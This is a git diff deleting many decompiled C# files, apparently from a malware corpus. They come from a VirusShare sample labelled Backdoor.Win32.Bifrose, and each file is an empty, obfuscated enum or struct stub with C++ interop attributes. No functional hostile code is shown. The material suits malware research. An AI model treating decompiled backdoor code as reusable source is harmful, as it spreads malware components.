a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ã.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ã -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ã - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081æ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081æ.cs deleted file mode 100644 index 592f1d4d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081æ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.æ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 532)] - internal struct \u0081æ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ì.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ì.cs deleted file mode 100644 index e25a3eae..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ì.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ì -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ì - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ò.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ò.cs deleted file mode 100644 index 2bd6bf04..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ò.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ò -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081ò - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ù.cs deleted file mode 100644 index 6a705e5d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ù.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0081ù - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0084.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0084.cs deleted file mode 100644 index 25f15b94..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0084.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚„ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u0084 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0088.cs deleted file mode 100644 index 48a948a1..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0088.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 544)] - internal struct \u0082\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008A.cs deleted file mode 100644 index 75d971d8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008A.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u008A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008E.cs deleted file mode 100644 index 3cc37cff..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_008E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0082\u008E - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0094.cs deleted file mode 100644 index 2902a312..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0095.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0095.cs deleted file mode 100644 index 423ff7c2..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_0095.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚• -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u0095 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_009A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_009A.cs deleted file mode 100644 index f4b5a31f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082_009A.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 64)] - internal struct \u0082\u009A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¢.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¢.cs deleted file mode 100644 index 9e8333d5..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¢.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¢ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0082\u00A2 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¥.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¥.cs deleted file mode 100644 index 9a8f2dc8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¥.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¥ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 224)] - internal struct \u0082\u00A5 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¦.cs deleted file mode 100644 index e80f2419..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¦.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082§.cs deleted file mode 100644 index 3e31cd21..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082§.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 248)] - internal struct \u0082\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¨.cs deleted file mode 100644 index a7a1fe69..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0082\u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082©.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082©.cs deleted file mode 100644 index f41bd595..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082©.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚© -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0082\u00A9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082­.cs deleted file mode 100644 index 7d67fad0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082­.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0082\u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082².cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082².cs deleted file mode 100644 index 65ef8a01..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082².cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚² -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B2 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082³.cs deleted file mode 100644 index 49aeb2a8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082³.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0082\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¶.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¶.cs deleted file mode 100644 index 5d5ecb4c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082¶.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚¶ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0082\u00B6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0082º.cs 